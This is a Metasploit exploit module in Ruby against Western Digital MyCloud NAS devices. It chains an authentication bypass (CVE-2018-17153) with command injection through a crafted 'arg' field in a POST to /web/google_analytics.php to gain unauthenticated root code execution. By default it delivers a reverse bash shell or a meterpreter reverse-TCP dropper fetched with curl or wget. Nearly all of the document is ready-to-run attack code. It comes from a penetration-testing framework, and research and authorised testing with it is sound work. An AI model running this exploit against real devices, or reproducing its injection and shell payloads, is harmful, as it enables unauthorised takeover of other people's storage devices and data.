##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Western Digital MyCloud unauthenticated command injection',
'Description' => %q{
This module exploits authentication bypass (CVE-2018-17153) and
command injection (CVE-2016-10108) vulnerabilities in Western
Digital MyCloud before 2.30.196 in order to achieve
unauthenticated remote code execution as the root user.
The module first performs a check to see if the target is
WD MyCloud. If so, it attempts to trigger an authentication
bypass (CVE-2018-17153) via a crafted GET request to
/cgi-bin/network_mgr.cgi. If the server responds as expected,
the module assesses the vulnerability status by attempting to
exploit a commend injection vulnerability (CVE-2016-10108) in
order to print a random string via the echo command. This is
done via a crafted POST request to /web/google_analytics.php.
If the server is vulnerable, the same command injection vector
is leveraged to execute the payload.
This module has been successfully tested against Western Digital
MyCloud version 2.30.183.
Note: based on the available disclosures, it seems that the
command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions
before 2.21.126. The obtained results on 2.30.183 imply that
the patch for CVE-2016-10108 did not actually remove the command
injection vector, but only prevented unauthenticated access to it.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter', # @wyntererik - Metasploit
'Steven Campbell', # CVE-2016-10108 disclosure and PoC
'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
],
'References' => [
['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
['CVE', '2018-17153'], # authentication bypass
['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC
['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Linux Dropper', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl
},
'Type' => :linux_dropper
}
]
],
'CmdStagerFlavor' => ['curl', 'wget'],
'Privileged' => true,
'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),
])
end
def check
# sanity check to see if the target is likely WD MyCloud
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('Connection failed.') unless res
return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')
print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
# try the authentication bypass (CVE-2018-17153)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
'vars_get' => {
'cmd' => 'cgi_get_ipv6',
'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
}
})
return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res
return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body
echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
res = execute_command(echo_cmd, { 'wait_for_response' => true })
return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res
return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')
CheckCode::Safe('The target failed to execute the echo command.')
end
def execute_command(cmd, opts = {})
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
'cookie' => 'username=admin',
'vars_post' => {
'cmd' => 'set',
'opt' => 'cloud-device-num',
'arg' => "0|echo `#{cmd}` #"
}
}
return send_request_cgi(request_hash) if opts['wait_for_response']
# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
send_request_cgi(request_hash, 0)
end
def exploit
if target.arch.first == ARCH_CMD
print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end
